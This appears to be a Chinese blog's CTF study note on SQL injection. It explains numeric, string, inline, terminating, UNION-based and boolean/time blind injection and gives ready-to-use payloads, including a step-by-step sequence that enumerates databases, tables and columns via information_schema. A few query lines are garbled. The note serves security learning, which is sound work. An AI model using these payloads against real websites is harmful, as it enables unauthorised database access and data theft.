CTF7月29日笔记---sql注入漏洞

sql基本属性

sql漏洞注入的本质

攻击者利用WEB应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令。

sql注入类型

1.数字型

原理:
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
测试步骤:

http://www.example.com/test.php?id=8' 返回异常
http://www.example.com/test.php?id=8 and 1=1 返回正常
http://www.example.com/test.php?id=8 and 1=2 返回异常

http://www.example.com/test.php?id=8 and sleep(3)延时注入

2.字符型

原理:
当输入参数为字符串时,称为字符型。
数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
#可编码为%23

当查询内容为字符串时,SQL语句如下:
select * from table where username='admin’
当利用代码时,不能输入admin and 1=1,应该输入admin' and 1=1 -- ,
即语句为
select	* from table where username='admin' and 1=1 -- ’
有时我们可能需要两个单引号来平衡原SQL语句,SQL语句如下:
update	Person	set username='username',set password='password'	where id=1
攻击者可以在用户名或者密码位置输入'+(select @@version)+',
即语句变为
update Person set	username='username',set password=''+(select @@version)+'' where id=1

3.其他注入

POST注入:注入字段在POST数据中;
Cookie注入:注入字段在Cookie数据中;
延时注入:使用数据库延时特性注入;
内联式注入

SELECT * FROM admin WHERE username='root' AND password =(''or ''=''

构造:root /‘or ‘’=’

终止式注入

SELECT * FROM admin WHER username='' or ''='' --' AND password ='root'

终止字符串:
– , #, %23, %00, /*、–+
终止方法:
– , ‘-- , ‘)-- , ) – , ‘)) --, ))–

mysql常用的函数

信息函数

database():用于获取当前使用的数据库信息

@@datadir:获取数据库的存储位置

version():返回数据库的版本

user():返回当前的用户(等价于current_user参数)

功能函数

load_file():从计算机中载入文件,读取文件中的数据

into_outfile():写入文件,前提是具有写入条件

concat():返回两个参数相连接产生的字符串。如果其中一个参数为NULL,则返回值为NULL。

group_concat():用于合并多条记录中的结果。例子group_concat(id,’-’.name)

concat_ws():用于间隔合并的多条字段。例子:concat_ws(’_’,id,name)

substr():用于截断字符串。用法为:substr(str, pos, length),例(select substr(database(),1,1-----输出database数据库表的第一位))。

ascii():返回字符所对应的ascii码。

length():返回字符串的长度。

if(exp1, exp2, exp3):如果exp1是True,则返回exp2;否则返回exp3。

order by():使用字段名来作为order by的条件外,还可以使用数字。
1表示的第一个字段
2表示的第二个字段
查询回显的原理,如果没有最后一列则提示报错。

联合查询union

理解:
理解:使用UNION 操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据。
限制:
相同的列结构
需要有知道表结构、列结构
语句:

select * from table1 union select * from table2
//如果table1有3列数(id,username,password),table2有2列数(user,pass),则提示报错,仅列数相同时可联合查询
变形1:
select id,username from table1 union select * from table2
变形2:
select group_concat(id,'-',username,'-',password),2 from table union select * from table2

结合exists()函数猜解表名 and exists(select……)
exists()函数用于检查子查询是否至少会返回一行数据。实际上不返回任何数据,而是返回True或者False。
如果存在即返回上半句的查询结果,如果不存在即返回错误。
在这里插入图片描述

联合查询的基础使用

1.测试是否可以使用sql注入Id=1’ or 1=1#
2.测试回显4位输入id=1’ order by 4%23
3.测试1234四位回显位置输入id=-1’ union select 1,2,3,4 %23
4.将database名输入到回显位置2输入id=-1’ union select 1,database(),3,4 %23
5.已知数据库名查询表名输入id=-1’ union SELECT 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=
‘database()’ %23
6.已知数据表名查询数据字段名Id=-1’ union SELECT 1,group_concat(column_name),3,4 from information_schema.columns where table_name=
‘table_name’ %23
7.根据字段名查询对应数据Id=-1’ union select flag,2,3,4 from 表名 %23

mysql盲注

简述:
盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。

盲注分类:
(1)布尔盲注
(2)时间盲注
查询函数:
在这里插入图片描述布尔盲注
某些查询是不需要返回结果的,仅判断查询语句是否正确执行即可,所以其返回可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false。

查询语句
SELECT userid FROM member WHERE u_name= n a m e A N D u p a s s = name AND u_pass= nameANDupass=pass;

注入语句
name=-1’ and (select mid(u_name,1,1) from member where userid=1)=‘a’
name=-1’ and (select mid(u_name,2,1) from member where userid=1)=‘d’
name=-1’ and (select mid(u_name,3,1) from member where userid=1)=‘m’
name=-1’ and (select mid(u_name,4,1) from member where userid=1)=‘i’
name=-1’ and (select mid(u_name,5,1) from member where userid=1)=‘n’
以上操作可通过burp抓包,然后字典爆破解答

时间盲注
某些查询是不需要返回结果的,仅判断查询语句是否正确执行即可,,但是由于某些限制,布尔盲注的关键字符带入不进去,这时候可以使用sleep来进行时间盲注,取页面执行时间(结束时间-开始时间)来判断sleep函数是否正常执行,所以其是否正常执行可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false
查询语句
SELECT userid FROM member WHERE u_name= n a m e A N D u p a s s = name AND u_pass= nameANDupass=pass;
注入语句
name=-1’ and (select mid(u_name,1,1) from member where userid=1)=‘a’ and (select sleep(3))
name=-1’ and (select mid(u_name,2,1) from member where userid=1)=‘d’ and (select sleep(3))
name=-1’ and (select mid(u_name,3,1) from member where userid=1)=‘m’ and (select sleep(3))
name=-1’ and (select mid(u_name,4,1) from member where userid=1)=‘i’ and (select sleep(3))
name=-1’ and (select mid(u_name,5,1) from member where userid=1)=‘n’ and (select sleep(3))
在这里插入图片描述
布尔盲注与时间盲注的if使用形式:
在这里插入图片描述loading…
后续为sql工具的具体使用说明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值